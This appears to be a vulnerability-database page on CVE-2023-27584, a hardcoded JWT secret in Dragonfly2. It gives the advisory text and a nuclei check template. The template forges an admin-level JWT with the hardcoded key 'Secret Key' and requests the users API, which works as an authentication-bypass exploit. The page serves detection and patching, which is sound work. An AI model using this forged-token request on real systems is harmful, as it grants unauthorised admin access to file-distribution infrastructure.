HexBrain

Browse / CVEs / CVE-2023-27584

CVE-2023-27584· CWE-321

Dragonfly2 < 2.1.0-beta.1 - Hardcoded JWT Secret

criticalseverity
9.8CVSS score
33.9%likelihood of exploitation, next 30 days
98%of all CVEs are less likely
Readycheck to confirm it

Dragonfly is an open source P2P-based file distribution and image acceleration system. It is hosted by the Cloud Native Computing Foundation (CNCF) as an Incubating Level Project. Dragonfly uses JWT to verify user. However, the secret key for JWT, "Secret Key", is hard coded, which leads to authentication bypass. An attacker can perform any action as a user with admin privileges. This issue has been addressed in release version 2.0.9. All users are advised to upgrade. There are no known workarounds for this vulnerability.

Impact

Unauthenticated attackers can bypass authentication using a hardcoded JWT secret key, allowing them to perform any action with admin privileges including accessing all distributed files and compromising the entire P2P system.

Fix

Upgrade to Dragonfly2 version 2.0.9 or later that uses a properly generated JWT secret key.

How to confirm it

Send: GET /api/v1/users
Positive when: contains "\"id\":" and "\"created_at\":" and "\"updated_at\":" and "\"state\":" AND contains in content_type "application/json" AND status 200

Run it with nuclei: nuclei -id CVE-2023-27584 -u <target>

The full check
id: CVE-2023-27584

info:
  name: Dragonfly2 < 2.1.0-beta.1 - Hardcoded JWT Secret
  author: iamnoooob,rootxharsh,pdresearch
  severity: critical
  description: |
    Dragonfly is an open source P2P-based file distribution and image acceleration system. It is hosted by the Cloud Native Computing Foundation (CNCF) as an Incubating Level Project. Dragonfly uses JWT to verify user. However, the secret key for JWT, "Secret Key", is hard coded, which leads to authentication bypass. An attacker can perform any action as a user with admin privileges. This issue has been addressed in release version 2.0.9. All users are advised to upgrade. There are no known workarounds for this vulnerability.
  impact: |
    Unauthenticated attackers can bypass authentication using a hardcoded JWT secret key, allowing them to perform any action with admin privileges including accessing all distributed files and compromising the entire P2P system.
  remediation: |
    Upgrade to Dragonfly2 version 2.0.9 or later that uses a properly generated JWT secret key.
  reference:
    - https://github.com/advisories/GHSA-hpc8-7wpm-889w
    - https://github.com/dragonflyoss/Dragonfly2/releases/tag/v2.0.9
    - https://github.com/dragonflyoss/Dragonfly2/security/advisories/GHSA-hpc8-7wpm-889w
    - https://nvd.nist.gov/vuln/detail/cve-2023-27584
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-27584
    cwe-id: CWE-321
    epss-score: 0.33874
    epss-percentile: 0.98405
  metadata:
    max-request: 1
    verified: true
  tags: cve,cve2023,dragonfly,exposure,jwt,secret,vuln

variables:
  orig_iat: '{{to_unix_time(unixtime())}}'
  exp: '{{to_number(orig_iat)+4000 }}'
  payload: '{"id":1,"exp":{{exp}},"orig_iat":{{orig_iat}}}'

http:
  - raw:
      - |
        GET /api/v1/users HTTP/1.1
        Host: {{Hostname}}
        Cookie: jwt={{generate_jwt(payload,"HS256","Secret Key") }}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"id":'
          - '"created_at":'
          - '"updated_at":'
          - '"state":'
        condition: and

      - type: word
        part: content_type
        words:
          - "application/json"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from